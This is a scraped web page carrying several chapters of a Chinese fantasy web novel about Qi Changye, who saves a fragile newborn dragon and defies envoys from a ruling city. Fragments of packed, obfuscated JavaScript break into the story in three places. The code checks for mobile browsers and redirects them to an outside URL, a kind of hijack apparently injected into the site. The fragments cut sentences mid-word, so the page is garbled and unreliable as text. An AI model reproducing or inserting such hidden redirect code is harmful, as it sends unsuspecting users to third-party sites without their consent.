RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119874|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但帝龙诞生之后的样子超出了所有人想象……那根本不是资料记载的，旧地球的真龙该有的模样。 更惊人的是，在那只刚破壳的幼崽身上，原本检测出来的帝龙血脉，消失了。 于是，乌城的人当场发难，怒斥他们欺骗上城，将所有人赶了出去。 被推出门的实验人员看见的最后一幕，是一个上城进化者将刚出生的“帝龙”从培育箱里拽出，摔向地面。 长廊一侧，沉而迅速的脚步声接近。实验人员回头，对上一双黑沉如渊的眼眸。 “祈队！帝龙，那个东西它——” 祈长夜面不改色，风衣衣摆急掠而起。实验室的检测仪投下探照光束，落入他漠然的眸底，下一秒，紧闭的电子门向两侧打开。 实验人员一愣。 无视警戒，直接通行——那是最高的权限，整座芙洛城，只有城主才有资格拥有的权限。 他在这里这么多年，第一次知道，原来这位年轻的祈队也有这样的权限。 “联系议事厅，立刻将实情告知诸位大人！” 布林诺尖细的声音盖过警报，实验室满地狼藉，培育箱摔裂在地，原本铺在内侧的软垫也被脚印踩塌。 “这里所有东西都要作为证据，一个C级下城胆敢欺骗上城的证据！” 祈长夜踏入实验室，人声一静。 “……祈队，”布林诺皮笑肉不笑，“真是抱歉，事情闹得太大，我可没办法帮你隐瞒。” 祈长夜脚步不停，径直向前，乌城的人向两侧退开，只有布林诺一动不动，昂首抬胸，堵在最后。 祈长夜垂眸，自上而下地俯瞰他的眼睛。 对视的瞬间，一股极度的悚然从布林诺的脊背蹿起。 他不是进化者，从未踏足过深渊，但这一刻，他忽然体会到了，什么是来自深渊的凝视。 如坠深崖，如临冰川。 布林诺惊恐后退，跌倒在地。 祈长夜直接跨过他，冰冷的目光定格在一个方向。 实验室尽头，无光的角落，一只刚刚破壳的幼崽挣扎着爬动，在地上拖出一行歪曲的血迹。 那是只很小的幼崽，只有手指粗细，细长一条，无毛无皮，像被剥了鳞片的小蛇，小小的身躯裹着一层稀薄的胚胎粘液，夹杂斑斑血迹。 怎么看，都是个丑陋的怪物，没有一点“帝龙”的影子。 从温暖的培育箱，被丢到这个冰冷的角落。刚出生的幼崽眼睛都睁不开，只能哆哆嗦嗦地爬动，想要爬到温暖的地方。 可是，它还太小，地上又太冷，无论怎么努力，也只是原地打转，发出低弱的哀鸣。 祈长夜俯身，单膝压在地面，冰凉的手向前递出。 幼崽颤抖地攀到了他的指尖，被他的手指温柔托起，落入他的掌中。 活蹦乱跳，会开花，会黏着他撒娇的小龙。 孱弱的、脏兮兮的幼崽，蜷缩在他的掌心里，冻得奄奄一息。 虽然睁不开眼睛，但小龙像是感知到了祈长夜的气息，努力地用四只软软的小爪子抱住他的手指，紧紧的，不肯撒开。 简单的动作，却耗尽了小龙最后一点力气。这只遍体鳞伤的小怪物依偎着他，发出一声低低的，轻软的哀鸣。 “别怕。” 祈长夜轻声说着，手指微屈，拢起掌心。 “我带你回去。” 4. 第四章 丑丑的 奄奄一息的小龙蜷缩在祈长夜掌心，垂下小小的头颅，埋入他的指间。 他捧起微微发抖的幼崽，穿过实验室，向外走去。 “祈长夜，你想违抗上城吗！” 一声厉喝，乌城的进化者站了出来。 “就算是垃圾，也要归上城回收！” 祈长夜骤然回头。 他的眼眸，一片纯粹的金色，肃杀锐利，森寒流转。 一刹那间，乌城的进化者发出凄厉的惨叫，踉跄后退，捂住双眼。 鲜红的血液，从他的指缝间滚出。 实验室内一片死寂，只有那个进化者不断响起的哀嚎，以及祈长夜远去的脚步声。 布林诺四肢冰凉，刚才那一瞬间，他几乎以为自己也要死了。 来这座下城之前，那位议事厅大人似笑非笑的话语，还飘荡在他的耳边。 “如果能做到，替我摘下他的眼睛。” “危险又漂亮的眼睛，将会是我们最美丽的珍藏。” 布林诺神思涣散，双眼放空：“我……我吗？” “博士，别怕。”随从忠诚的声音在他耳边响起，“你不是进化者，这位祈队从不对普通人动用能力。” “别忘了，我们还有议事厅。” “……对，没错！”布林诺猛然抬头，“快！去请议事厅大人回信！” 走廊外。 “……祈队，对不起……”刚才那位实验人员嗫嚅着说，“我们没保护好它……” 祈长夜微侧过脸，眸底的金色逐渐褪为墨黑：“不是你们的错。” 实验人员怔了怔，那道修长背影已独自远去。 过去几年，关于这位祈队的传言数不胜数，说他残忍嗜杀，沾染过不知多少条人命。 然而今天，实验人员忽然发现……原来这位危险的祈队，安慰人的声音，其实很好听。 —— 轰隆—— 雷霆穿扫云层，大雨骤降。 雨点砸在窗上，模糊了城市的轮廓。祈长夜低头，温热的毛巾，一点点擦掉小龙身上的血迹与胚胎粘液。 逐渐干净的小龙，虽然不再被脏东西糊住，依然睁不开眼睛，细长的身躯微微扭动，一对很小的爪子轻轻抓挠，似乎想抓住什么。 平心而论，这并不是一只好看的小怪物，更不像龙，除了那四只孱弱的小爪子以外，和被剥了皮的小蛇没什么区别，扭来扭去的样子并不可爱，反而有些惊悚。 但，祈长夜知道，这的确是一条小龙，只是破壳得太早，还没来得及长出保护自己的鳞片。 他用毛茸茸的小毯子包住小龙，然而，一离开他的掌心，小龙就开始挣扎，甚至发出声声低鸣，在毛毯上蠕动着，茫然又焦急地追寻他的气息。 祈长夜情绪微动，伸手过去，刚刚贴近，眼睛都没睁开的小龙就瑟瑟发抖地攀上了他的指尖。 冰凉凉的幼小身躯紧紧贴着他，无意识地磨蹭他的掌心。 祈长夜轻轻捧起双手。 原本暖烘烘的小太阳，变成了一团轻软虚弱的幼崽，气息游离，像狂风中摇曳的微弱烛星。 人类的陆地，没有能够治疗深渊生物的药物和仪器，也没人愿意治疗来自深渊的怪物。 祈长夜低声说：“你不该跟我出来。” 小龙似乎没有听懂他的话，只是努力地抬起小爪子，这一次，终于抱住了他的手指。 四只小爪子很轻，软绵绵的，无需用力，就能挣开。 祈长夜微微垂着手指，一动不动。 小龙抱了一会，似乎恢复了一点力气，昂起脑袋，想睁开眼睛，又睁不开的样子。 它发出一声低鸣，小小的脑袋抵着祈长夜指腹，一下一下，眷恋又依赖地磨蹭。 如果是条小蛇，做这个动作会很可爱，然而，现在只是无鳞无皮、扭动着肉色身躯的细长生物，畸形怪异，怎么看都很惊悚。 祈长夜静静地注视，并未移开视线。 轰隆—— 窗外雷鸣震响，祈长夜想要拉上窗帘，掌心里的小龙忽然抽动一下。 原本已经安静躺着的小龙张开嘴巴，用力咳嗽，一咳起来就止不住，很快，这只幼崽浑身颤抖起来。 短短几秒间，刚刚还恢复了一点精神的小龙情况急转直下，无力地蜷缩着，抽搐不停。 它发出痛苦的低鸣，幼小的身躯渗出点点鲜血，染红了祈长夜苍白的手指。 那点血色映在祈长夜的眼眸深处，融进了微微颤动的墨黑里。 银白的闪电从云层砸落大地，狂风飘摇，裹挟着暴雨撞上窗框。 祈长夜靠坐在窗边，几缕乌黑发丝掠过低垂的眉眼。 小龙蜷缩在他手中，渐渐奄奄一息。无论他做什么，都无法挽回。 他忽然意识到，他救不了它。 渺小又轻飘飘的生命，在他的指间，一点点流逝。 鲜血漫过掌心的纹路，原本暖烘烘的小太阳，垂死之时，血液冰凉刺骨。 小龙的脑袋仰起了一点点，依然无法睁开的眼睛望向祈长夜，发出一声低鸣。 那微弱的声音并不痛苦，而是满怀依恋，似乎，在向他做最后的告别。 祈长夜指尖微微一颤。 还有一个办法。 一丝清明冲破混沌的意识，他低头，咬破了自己的手腕。 滴答，滴答。 鲜血覆没苍白，从温热跃动的血脉里涌出，汇向濒死的幼龙。 雨水降落荒原，枯草抬起新芽。深渊边界的灰白塔台，监察官凝视屏幕：“奇怪的波动……来自深渊底部？” “向城主汇报，深渊异动！” —— 持续了一夜暴雨和雷鸣，随着漫长黑夜的结束而消弭。 云销雨霁，一抹朦胧的光亮浮于天际，万千晨光初绽大地。 祈长夜安静地敛目，望着掌心里开始轻轻蠕动的小怪物，想到了给它取的名字。 死里逃生的小龙在喜欢的气息间打转，一点点睁开眼睛，听见一个很好听的声音：“欢迎来到新世界。” 第一抹光亮落入小龙眼底，它看见晨曦的微光中，那个苍白美丽的年轻男子。 他有一双沉静的眼眸，像月亮投落深渊的清霜。 小龙仰起脑袋，静静地凝望。 祈长夜发现，掌心里的幼崽忽然不动了。 阳光底下，小龙的眼睛是浅浅的金色，有些黯淡，圆溜溜的，一眨不眨地睁着，像好奇的猫猫。 祈长夜与那双吱溜溜的眼睛对视，手指微垂，点了点小龙的脑袋。 小龙软乎乎地蹭蹭他，发出吱嗷吱嗷的叫声。 轻快的叫声，总算不是昨天微弱的低鸣。睁开眼的小龙充满精力，开始在祈长夜指间爬来爬去。 一不留神，滑到了他的腿上。 这只小龙又嗷嗷地抬起小爪子，想要祈长夜抱抱。 祈长夜垂下一根手指，小龙飞快抓住，嗖一下爬回他的掌中，抱着自己的尾巴，乖巧地窝成一个小圆圈。 ——没过几秒，这只一么么大的幼崽又开始在祈长夜身上爬来爬去，像是在迫不及待地巡视自己的领地。 祈长夜安静地看着小龙从他的指尖溜达到手肘，又扒拉着他的衣服，往上蹦跶两下。 太小了蹦不高，只能甩着小尾巴溜回他的手腕，盯着他白皙的腕间看了几秒，悄咪咪钻进他的袖子里。 他随手捏住小龙的尾巴尖尖，把扭来扭去的泥鳅小龙从袖子里勾了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119875|164242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小龙盘在他的掌心里，睁着圆溜溜的龙瞳，又是一副乖巧的模样。 过了两秒，又开始到处乱爬。 祈长夜：“……” 怎么能这么活蹦乱跳。 明明昨晚，还是奄奄一息的幼崽，救过来以后，好像一下有了用不完的精力。 那双孱弱的小爪子，练习了一小会，现在已经能紧紧揪住祈长夜的衣角，顺着他的手臂向上攀爬。 小龙似乎把祈长夜的肩膀当成了自己第一个小目标，哼哧哼哧地想要努力爬上去，还没爬到一半又骨碌碌滚了下来，被祈长夜接住。 软软的幼崽在他掌心里翻了个身，忽然嗅到了什么，往他的右手那边探头。 祈长夜轻轻掩住右手袖口，挡住小龙视线。 咬破的手腕已经愈合，只剩下一道浅淡的疤痕。 小龙还要凑近，祈长夜起身。 加热的营养剂灌入针筒，放凉一会。修长手指勾着针筒，在小龙面前晃晃，送到它的嘴边。 小龙咬住针筒，茫然不解地吞了几口营养剂，脑袋一歪，埋进祈长夜指间。 祈长夜：“怎么了？” 小龙的尾巴蜷缩起来，一小只都埋在祈长夜掌心，不肯吃。 有点小嫌弃。 祈长夜沉默。 他没有养过这种小东西，更不知道一只刚出生的小龙应该吃什么。 小龙轻轻甩动着小尾巴，将那支针筒推远一点，抱着祈长夜手指，嘬嘬嘬。 祈长夜：“。” 知道了。 他手起刀落，割破了自己的手指。 “喝吧。”鲜血染红指尖，祈长夜的语气淡然。 小龙：“……” 小龙抱住祈长夜流血的手指，睁着大大的龙瞳，呆住了。 下一秒，这只小龙开始抖啊抖。 吧嗒吧嗒，滚下豆大的泪珠。 祈长夜：“……？” 小龙很伤心的样子，抽抽噎噎，水雾雾的龙瞳看着祈长夜，一小颗一小颗泪珠砸在他的指间。 本来就只有一点大的幼崽很快被自己的眼泪浸湿，不停颤动，尾巴尖尖都在发抖。 就算昨天，这只小龙濒死挣扎，也不曾掉过眼泪。 祈长夜无言片刻，轻声说：“不疼。” 小龙依然吧嗒吧嗒掉眼泪，哭得一抽一抽。 不信。 祈长夜停顿了一下：“下次不会这样了。” 他微凉的指腹抹去小龙的眼泪，是安慰，也是保证。 这只小小的幼崽低低地呜咽一声，小心翼翼地垂下小脑袋，贴住他没有受伤的手指。 蔫了。 祈长夜乌沉的眼睫轻动，没说什么。 他来到浴室，简单清洗了一下伤口。 小龙窝在他的掌心，扒着他的手指不肯撒开。偶尔一抬脑袋，瞥见了镜子里的自己。 定住了。 这只刚才还很伤心的小龙瞪着镜子，呆呆的龙瞳，好像在说什么，这是什么丑东西。 不敢相信，低头看看自己。 再抬起小脑袋，看看镜子。 再低下小脑袋。 ……天塌了。 祈长夜一低头，就看见小龙用尾巴圈住了自己，好像想自鲨。 “？” 他用手指拨开小尾巴，捧起手掌。 小龙生无可恋地瘫在他的手中，试图用小爪子捂住脑袋。 爪子太短，捂不住。 更生无可恋了。 缓缓翻过来，摊开小肚皮。 “……” 祈长夜意识到什么，轻声安慰：“是有点丑。” “习惯就好了。” 小龙：“…………” 5. 第五章 我不会养它 直到祈长夜从浴室里出来，小龙还躲在他的袖子里，不肯冒头。 一小截尾巴尖尖露在袖子外面，蔫蔫地蜷缩着。 祈长夜抬手，轻戳一下尾巴尖尖。 软软的尾巴甩动一下，一只丑兮兮的小怪物从袖子里探出来。 祈长夜对上那双圆溜溜又委屈屈的金色龙瞳，说：“你还小。” 说不定长大以后，就是条好看的龙了。 得到这句安慰，小龙的心情好了一些，从祈长夜袖子里爬了出来。 不过，它还是有点郁闷，趴在祈长夜掌心，小爪子紧紧抱住他的手指。 仰起脑袋，吱嗷吱嗷。 祈长夜：“听不懂。” 小龙：“……” 小龙躺平，露出软软的肚皮。 很好摸的样子。 祈长夜指尖微动，最终还是没有抬起。 小龙慢吞吞翻回来，看了祈长夜一眼，圆溜溜的龙瞳满是遗憾。 它嗖嗖爬到祈长夜右手边，盯着他手指的伤口，一动不动。 小龙灼灼的目光中，祈长夜随手包扎了一下伤口，用纱布打了个结。 小龙看着剩下的纱布，小爪子比比划划，似乎觉得自己也可以给祈长夜包扎。 结果因为爪子太短，很可惜地放弃了。 乖乖地趴在祈长夜掌心里，乖乖地看着他。 祈长夜等了一会，这只小龙居然还是乖乖地趴着，没有爬来爬去。 可能是被自己的外表打击到了，觉得自己不是一只好看的小龙，不能撒娇了。 祈长夜微微抬手——下一秒，按住了额角。 小龙脑袋微昂，疑惑地“嗷”了一声。 祈长夜没说什么，靠着沙发静坐一会，冰凉的手指一下一下按揉太阳穴。 小龙仰起上身，小爪子轻轻扒拉住祈长夜手背，暖烘烘的，开始发烫。 祈长夜下意识拢起指尖，掌心里的小龙，就像一颗小小的太阳，连萦绕在他身上、终年不散的深渊寒意，都能驱散。 过了片刻，他睁开眼睛，眸底神色如常。 小龙在他手中转圈圈，他屈起指节，贴贴小龙。 安静的客厅，一本书翻过大半。 尾巴有一下没一下地甩动，小龙歪着脑袋，浅金的龙瞳映出祈长夜专注看书的侧脸。 为什么不看它了？ 就算，就算它不好看……也不准不看它。 小龙一会从书页左边探头，一会溜达到右边，一会帮祈长夜翻书，一会又翻回上一页。 最后，小龙趴在书中间，飞快甩动小尾巴。 祈长夜：“……” 祈长夜轻轻捏着小龙的尾巴尖尖，把这一小只提溜起来，放到身侧。 小龙立刻又开始用小爪子扒拉他的衣服，爬到他的腿上，跳来跳去，追着他的衣角玩。 祈长夜轻轻合上书，偏过头。 黏人的小龙，那双圆溜溜的龙瞳，写满了“看看我、看看我”。 不准看别的东西。 这只还没多大的幼崽，似乎有自己的小心机，却又总是直白地展现给他，从不掩饰。 祈长夜放下手，盖住小龙。 暖烘烘的小龙乖乖窝在他的掌心底下，一动不动。 祈长夜抬起手。 小龙轻轻咬着他的衣角，欢快蹦跶。 对小龙来说，这好像是很新奇的游戏，一直追着祈长夜，想要他陪自己玩。 祈长夜果真陪了它一会，直到通讯器响起，一道光屏浮现，露出艾丽娅的脸庞。 她看着那只穿梭在祈长夜指间的活泼小龙，微微后仰：“这是刚破壳一天的幼崽？” “才出生就这么能爬，再过十天半个月，是不是就能飞了。” 祈长夜：“它很特殊。” 小龙昂起小脑袋，摇晃摇晃，得意洋洋。 艾丽娅迟疑了一下：“它的长相……还有，还有很大的进步空间啊。” 小龙不摇晃了，一动不动地盯着艾丽娅。 艾丽娅默默移开视线：“哎呀，真吓人。” 小龙：“……” 祈长夜指腹轻贴小龙脑壳：“它还小。” “对不起，它出生前我被调走了，不在那里。” 艾丽娅说。 “破壳后的二次检测，它的确没有帝龙血脉，可能是帝龙的旁系后裔，血脉相近，却不是真正的帝龙。” “这样也好，至少，它不用被那群人带回乌城啦。” 小龙躺在祈长夜掌心，露出软软的肚皮，小脑袋抵着祈长夜指腹，黏糊糊地蹭来蹭去。 艾丽娅：“长得怪有特色的……不过这么乖，养在身边心情也会变好的，对吧？” 小龙开始欢快地摇尾巴。 祈长夜沉默片刻，说：“等城主回来，我会交给她。” 小龙：“？” 小龙不摇尾巴了，一下抬起身躯，浅金色的龙瞳，一眨不眨地看着祈长夜。 祈长夜别过目光，对艾丽娅说：“你们可以把它接回——” “啊？什么？你说啥？”艾丽娅左顾右盼，“风好大啊信号不好，不聊了我还有九十九的电要充电了！” 啪。 光屏消失，通话被挂断了。 祈长夜：“……” 袖口被不断扯动，他垂眸，小龙飞快转圈圈，叼住他的袖子，发出“嗷呜嗷呜”的声音。 软软的小尾巴焦急地甩来甩去，一双圆滚滚的龙瞳也耷拉着，像被人一脚踢开的奶狗，不知所措，又呜咽着贴了上来。 祈长夜微微偏过脸，几秒后才转回来，对上那双黯淡的龙瞳：“有一件事，我必须说明。” “我养不了你。” 话音刚落，小龙的龙瞳迅速被水光浸泡，吧嗒吧嗒，掉下一颗颗泪珠。 祈长夜：“……” 怎么那么爱哭。 小哭包。 他一言不发地和小龙对视。 小龙睁着水汪汪的眼睛，抽抽噎噎地掉眼泪，委屈又伤心。 祈长夜没有和人解释的习惯，但面对这只哭唧唧的幼崽，他还是耐心地开口：“城主人很好，不会欺负你。等我有空，就来看你。” 小龙好像没听见，抱住自己的尾巴，啪叽一下躺倒在他手中，小声地咳啊咳。 一副风中残烛、虚弱无比，随时会歇菜的小模样。 祈长夜：“……” 他一言不发，起身。 走到厨房，泡了一碗营养剂糊糊，轻轻放到小龙面前。 小龙还在吧嗒吧嗒掉眼泪，小爪子短短的，抹不到眼泪，就这么可怜巴巴地望着祈长夜。 祈长夜苍白的手指落在小龙身上，轻轻擦掉泪水：“不吃东西，也长不大。” 小龙听到这话，才慢吞吞挪到碗旁边，一口一口，吃起了那碗营养糊糊。 没吃几口，偷瞄祈长夜，没吃几口，再偷瞄祈长夜。 祈长夜神色毫无变化，似乎并没有被小龙可怜巴巴的模样触动。 小脑袋耷拉下来，这只幼崽有气无力地趴在饭碗边沿。 泪水打湿小碗饭，小龙一边抽噎，一边吃那碗混着眼泪的营养糊糊。 祈长夜：“……” 他欲言又止，偏过脸，沉默片刻，无言地叹了口气。 向小龙伸手。 小龙毫不犹豫地抛下那碗营养糊糊，飞快爬回他的掌心，四只小爪子紧紧抱住他的手指，一整条贴着他。 祈长夜声音渐低：“留在我身边，不会有什么好下场。” 小龙抱得更紧了，细细的小尾巴也缠上他的手指，一圈一圈，无法拨开。 变成了一小团麻花龙。 祈长夜眼眸泛起微微的波澜，最后，还是没什么都说。 他端起那碗营养剂泡的糊糊，小龙根本没吃多少口，看来是真的不喜欢吃。 破壳十几个小时，几乎没怎么进食。 小麻花龙还紧紧地缠绕在祈长夜指间，很有精力的样子。 见祈长夜看过来，张着嘴巴咳咳两声，小脑袋一歪，假装虚弱。 小尾巴是一点没松，缠得死紧。 祈长夜沉默两秒，说：“松开，我去给你找点吃的。” 小龙又装模作样地咳咳两声，尾巴一圈圈松开，挪到祈长夜掌心。 它轻蹭祈长夜冰凉的手指，努力用自己的体温，让他变得暖和一点。 祈长夜轻轻捧起这只小龙，起身。 门外，响起了重而急促的敲门声。 —— 会议室内，乌城来客占据主位，身后一排士兵站立。 “不好意思啊诸位，刚刚得到议事厅的命令，上城要回收那只进化失败的深渊怪物。” 布林诺斜靠在主位宽大的椅子上，嘴角勾起。 滚动的文字浮于光屏之间，构成金色的卷轴。那是乌城最高等级的敕令，落款为鲜红的“第十席”。 艾丽娅眼皮一跳，议事厅，乌城最高存在，对所有城市有直接的掌控权。议事厅内设十二座席，第十席，就是排位第十的议事厅掌权者。 祈长夜的目光短暂点过那三个字，神色不动：“你想对它做什么。” “进化失败的劣等品，不被当场处死，都是上城的宽容。” 布林诺仰起下巴，表情轻蔑。 “祈队，你很幸运，上城并不计较你的欺骗， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他修长的手指一翻，小龙落回他的掌心，浅金色的龙瞳茫然地看着他。 不丢下我吗？ 我可以自己走。 祈长夜：“带走他们，可以，我回乌城。” 布林诺笑得后仰：“你不过是个被上城驱逐的丧家之犬，以为能威胁到谁？” “别以为我不知道，你的精神力早在三年前就废掉了，上城根本没有你的容身之所，所以才灰溜溜滚到了这座下城！” 祈长夜金色的眼眸淡漠无痕，不落一丝尘埃：“你可以把这句话，一字不动地告诉他们。” 布林诺还要嘲讽，他身边的随从附耳低语，手指在通讯器上敲动。 不知随从说了什么，布林诺的脸色有些阴沉，抢过通讯器，亲自将那道讯息发了出去。 讯息发出十秒，三十秒，一分钟，来自乌城的敕令依然漂浮在光屏中间，内容毫无更改。 布林诺哈哈大笑：“真是个小丑！你的威胁在上城眼里，就和你本人一样可笑！” 话音刚落，敕令剧烈抖动，那抹鲜红的“第十席”，直接从落款上抹去。 “第十席”撤回了一条消息。 “第十席”追加了一条新消息。 布林诺笑声骤止。 那道新的命令，只针对他一个人。 ——废除所有身份权限，立刻撤出芙洛城，滚回乌城受罚！ 怎么会这样？！ 这怎么可能？！ 简直是从高空直坠地狱，这一刻，布林诺浑身的血液都凝固了。 这道命令，只说明一点。 上城，在畏惧祈长夜！ 哪怕过去三年，他的存在，依然令上城恐惧！ 布林诺猛地从椅子上弹了起来。 “尊敬的祈队，刚才是我说笑了，您千万别介意。” 祈长夜：“我很介意。” 布林诺双腿剧颤，拼尽全力挤出一丝比哭还难看的笑容：“祈队真是风趣，如果，如果我现在跪下来给您磕头，您愿意替我向第十席大人美言几句吗？” 小龙昂起脑袋，望着身边人类苍白冷峻的侧脸，就像望着永远笼罩深渊的天空。 下一秒，小小的幼崽被那只好看的手拎了起来，指腹温柔地从它的脑袋抚至尾巴，轻轻放回衣袋里。 “我给过你们三次机会。” 祈长夜踏前一步，在布林诺和其他乌城进化者恐惧的目光中，金色眼眸凛冽而锋芒毕露，仿若自天际降临的太阳。 “今天，谁也别想走出这里。” 6. 第六章 小龙唱歌 年轻男子冰冷的声音坠地，会议室内，来自乌城的一个进化者动了。 他毫不犹豫，破窗而出，全速向外奔逃。 祈长夜的身影消失在原地。 他所站立的位置，黑暗蔓延，连接屋内每一寸阴影，深黑浮于地表，就像凝聚的深渊。 一秒，两秒，三秒。 死寂的会议室，一只修长冷白的手搭在门框，大门被直接推开，开门声重重砸在了所有乌城来客的心脏上。 祈长夜单手掐着那个进化者的脖子，如拖着一袋垃圾，金色眼眸没有一点情绪，一步步走了进来。 屋外的光线被隔绝，深黑风衣的年轻男子踩在光与暗交织的界线，唯有一双金色眼眸，明亮灿然，冰冷锋锐。 “祈，祈队……” 布林诺几乎要哭出了声，他从未如此恐惧过，也从未如此懊悔，自己竟敢招惹这样的存在。 “进化者，进化者是不能对普通人动用能力的……” 祈长夜面无表情地俯瞰他，直到他真的撑不住了跪倒在地，才淡淡开口：“说得对。” “对你们，不需要能力。” …… 艾丽娅蹲在会议室外，听着里面的动静，啧啧摇头：“你说他们惹他干嘛？不知道他是我们这最能打的吗。” 她旁边的实验人员小声嘀咕：“没想到……祈队居然会护着我们。” 艾丽娅笑了起来：“他很护短啊，你不知道吗。” “只是他的脾气一直很好，所以，大家都忽视了这点。” “砰”的一声，坚固的会议室大门直接从里面凸起变形。 实验人员：“……是啊，脾气真好。” 他一直望着那边，直到会议室的门被推开，那道高挑挺拔的身影走了出来。 祈长夜眼眸墨黑，一身肃杀的锐气，凛冽锋芒，走廊上的人都不约而同地后退几步，根本不敢与那凝聚成刀锋的气势相撞。 只有一只小龙，哼哧哼哧从他的衣服里钻了出来，睁着圆溜溜的龙瞳，探头探脑。 蹦跶两下，伸出小爪爪，想要抱抱。 祈长夜手指刚刚靠近，小龙就扒住他，嗖嗖快地爬到了他的身上。 原地转圈圈，高高举着小爪爪，像是在为他欢呼。 祈长夜看着这只活泼的幼崽，没说什么，轻点一下它的小脑袋。 小龙往后探了探脑袋，看向会议室，祈长夜轻轻遮住它的龙瞳。 这只软乎乎的幼崽就一头扎进他的掌心里，黏糊糊地蹭来蹭去。 “哟，几周不见，某人养了一只崽崽。” 调侃的女声从身后响起，祈长夜回头，走廊对面，一位身姿高拔、紫罗兰色眼眸的女士缓缓走来，身后跟着数位士兵。 “本以为我回来的不是时候，现在看来，正是时候。” 芙洛城的城主，雅歌。 祈长夜下意识收拢指尖，似乎想要藏住小龙，下一秒，又松开了手指。 雅歌瞥了眼会议室，漫不经心地挥手：“把客人送去医院，别显得我们招待不周。” 她的亲兵领命进去，将里面的人一一抬了出来——确实没有一个能“走”出会议室。 “这里的事情，我都知道了。”雅歌走到祈长夜面前，“乌城派出这种人，说明他们根本不在乎什么帝龙，从一开始就是冲着你来的。” 祈长夜：“我知道。” “这件事情，由我承担。” “瞎说什么，我才是城主，天塌下来，也不会让你们这些年轻人扛。”雅歌说，“好好待在这里，别想有的没的。” 她的目光下落，眼睛弯起：“对了，听说你要把这个小家伙送给我养？” 小龙坐在祈长夜掌心，小爪子抱着他的手指，看着那个陌生的人类向它的人类伸手：“放心，我一定好好照顾它。” 小龙：“……” 祈长夜：“……” 祈长夜慢慢低头。 小龙仰着小脑袋，一眨不眨地望着他，溜圆的龙瞳，满是无措。 过了几秒，祈长夜轻声说：“它还太小。” “也是，刚破壳，又是你手把手养着的，暂时离不了人。”雅歌深以为然地点头，“我可以等，你说个时间，到时候我再接它回去。” 祈长夜敛下眉目，小龙一动不动地趴着，蜷缩成小小一团。 盘起来都没有巴掌大的幼崽，轻飘飘的，好像一不留神，就会被风吹跑，从他的手中骨碌碌飘走。 喜欢黏人，还动不动就掉眼泪，是只黏人的小哭包。 “……过两周再说吧。”祈长夜听见自己的声音。 雅歌笑了起来。 “那就一言为定，两周后，我接它回家。” 她弯腰，戳戳小龙。 “小家伙，听到没，只剩下十四天咯。” 小龙：“……” 小龙飞快钻进祈长夜袖子里，不肯冒头。 祈长夜微微抬起手腕，望着袖子里那双浅金色的龙瞳：“龙喜欢吃什么？” “关于旧地球时代真龙的资料，大多损毁，只剩下一份血脉代码供我们检测比对。”艾丽娅说，“如果不是深渊现世，怪物重现大地，人类随之进化，或许，只言片语里的真龙，只会被当成传说。” 雅歌：“低情商：我也不知道。” 艾丽娅开始大声咳嗽。 “你是旧地球时代的后裔，对于那个时代遗留下来的‘龙’，应该会比我们有更强烈的感应。” 雅歌语调悠悠。 “所以，你真的觉得，这只丑……这只长相先进的小家伙是失落已久的真龙？” 祈长夜：“它会长大的。” 雅歌再次弯腰：“听到了吗，小家伙，长大后可不能丢下别人哦。” 小龙探出脑袋与她对视，小爪子紧紧抓住祈长夜衣角，尾巴也圈住他的手腕，不肯撒开。 祈长夜抬手，将袖子里的小龙轻轻拨弄出来。 “城主，有件很重要的事情。” 艾丽娅举手。 “我已经三个月没有休假了，这对吗？” “哦天哪，这很坏了。”雅歌说，“我承诺，今天开始，会降低让你们加班的频率。” 艾丽娅：“真的假的！” “哈哈，假的。” “……” —— 回去的路上，小龙一直缩在祈长夜衣兜最角落的位置，没有挪动。 祈长夜什么也没问，只是到家之后，将这只蔫了吧唧的小龙抱出来，让它躺在自己腿上。 小龙抱住软趴趴的尾巴，蔫蔫地瘫着，头顶好像飘来了一朵小乌云。 脑袋落下温柔的抚摸，它昂起脑袋，对上祈长夜平静的眼眸。 “……嗷。” 小龙轻蹭那冰凉的指尖。 很快，这只幼崽似乎自己安慰好了自己，再次充满干劲，在祈长夜腿上爬来爬去。 祈长夜拿起一颗削好的苹果，在它面前晃晃。 小龙凑过去嗅嗅，清甜的果香，让它的小尾巴一下子扬了起来。 小龙努力地抱住比自己还大不少的苹果，张大嘴巴，嗷呜一啃。 然后就一动不动了。 卡住了。 啃不动。 祈长夜：“……” 片刻后，祈长夜切了一盘整整齐齐的苹果片，小龙委屈巴巴地坐在他的袖子上，抱着一小片薄薄的苹果，一小口一小口地啃啃。 祈长夜沉思，难道龙的食物是水果？ 他再拿出一管营养剂，在小龙面前晃晃。 小龙脑袋一扭，抱着苹果片飞快往旁边蹭蹭。 嫌弃。 祈长夜：明明也是苹果味的。 他拆开营养剂，一饮而尽。 再低头，小龙怔怔地抱着苹果片，圆圆的龙瞳里满是震惊。 看看营养剂，再看看他。 非常心疼的样子，小爪子举起一片大大的苹果，递给他。 祈长夜：“……也不是很难吃。” 小龙更心疼了，把那一盘苹果都推向了他，坐在他手中，摇头叹气。 祈长夜：“……” 祈长夜摸摸小龙脑袋，又给它喂了一片苹果。 一个箱子被送到客厅，拆开包装，露出崭新的培育箱。 祈长夜铺上一层层柔软的毯子，调好合适的温度，小龙爬到培育箱边，歪头看看他。 祈长夜：“就算只有两周，也不能让你睡地板。” 